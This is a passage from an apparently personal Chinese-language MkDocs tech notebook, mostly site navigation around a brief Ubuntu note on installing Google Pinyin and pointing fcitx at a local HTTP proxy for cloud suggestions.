class=\"md-nav__item\">\n      <a href=\"../WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n    \n  \n  \n    <li class=\"md-nav__item md-nav__item--active\">\n      \n      <input class=\"md-nav__toggle md-toggle\" type=\"checkbox\" id=\"__toc\">\n      \n      \n        \n      \n      \n        <label class=\"md-nav__link md-nav__link--active\" for=\"__toc\">\n          Ubuntu\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <a href=\"./\" class=\"md-nav__link md-nav__link--active\">\n        Ubuntu\n      </a>\n      \n        \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#google\" class=\"md-nav__link\">\n    安装Google拼音并配置代理\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n      \n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#google\" class=\"md-nav__link\">\n    安装Google拼音并配置代理\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n<h1 id=\"ubuntu\">Ubuntu桌面版使用<a class=\"headerlink\" href=\"#ubuntu\" title=\"Permanent link\">&para;</a></h1>\n<p>使用ubuntu16.04桌面版的一些折腾</p>\n<h2 id=\"google\">安装Google拼音并配置代理<a class=\"headerlink\" href=\"#google\" title=\"Permanent link\">&para;</a></h2>\n<p>安装请参考<a href=\"https://www.linuxdashen.com/ubuntu%E5%AE%89%E8%A3%85%E8%B0%B7%E6%AD%8C%E6%8B%BC%E9%9F%B3%E8%BE%93%E5%85%A5%E6%B3%95%EF%BC%88fcitx%E8%BE%93%E5%85%A5%E6%B3%95%E6%A1%86%E6%9E%B6%EF%BC%89\">这篇文章-ubuntu安装谷歌拼音输入法</a></p>\n<p>其中在<code>im-config</code>切换为<code>fcitx</code>后，无需重启，只需要注销后再次登录即可（注销不会影响screen中的任务）</p>\n<p>安装后最为有用的云候选功能由于需要配置代理才能用，配置方法：\n打开一个terminal（建议启动一个screen），配置环境变量，然后重启fcitx：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">export</span><span class=\"w\"> </span><span class=\"n\">http_proxy</span><span class=\"o\">=</span><span class=\"s2\">&quot;http://127.0.0.1:8118&quot;</span>\n<span class=\"k\">export</span><span class=\"w\"> </span><span class=\"n\">https_proxy</span><span class=\"o\">=</span><span class=\"s2\">&quot;http://127.0.0.1:8118&quot;</span>\n<span class=\"n\">fcitx</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">r</span>\n</code></pre></div>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"..\", \"features\": [], \"search\": \"../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/WindowsSoftware/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n        <link rel=\"prev\" href=\"../PaperReading/\">\n      \n      \n        <link rel=\"next\" href=\"../dfsan/\">\n      \n      <link rel=\"icon\" href=\"../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>WindowsSoftware - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#windows-software\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              WindowsSoftware\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a 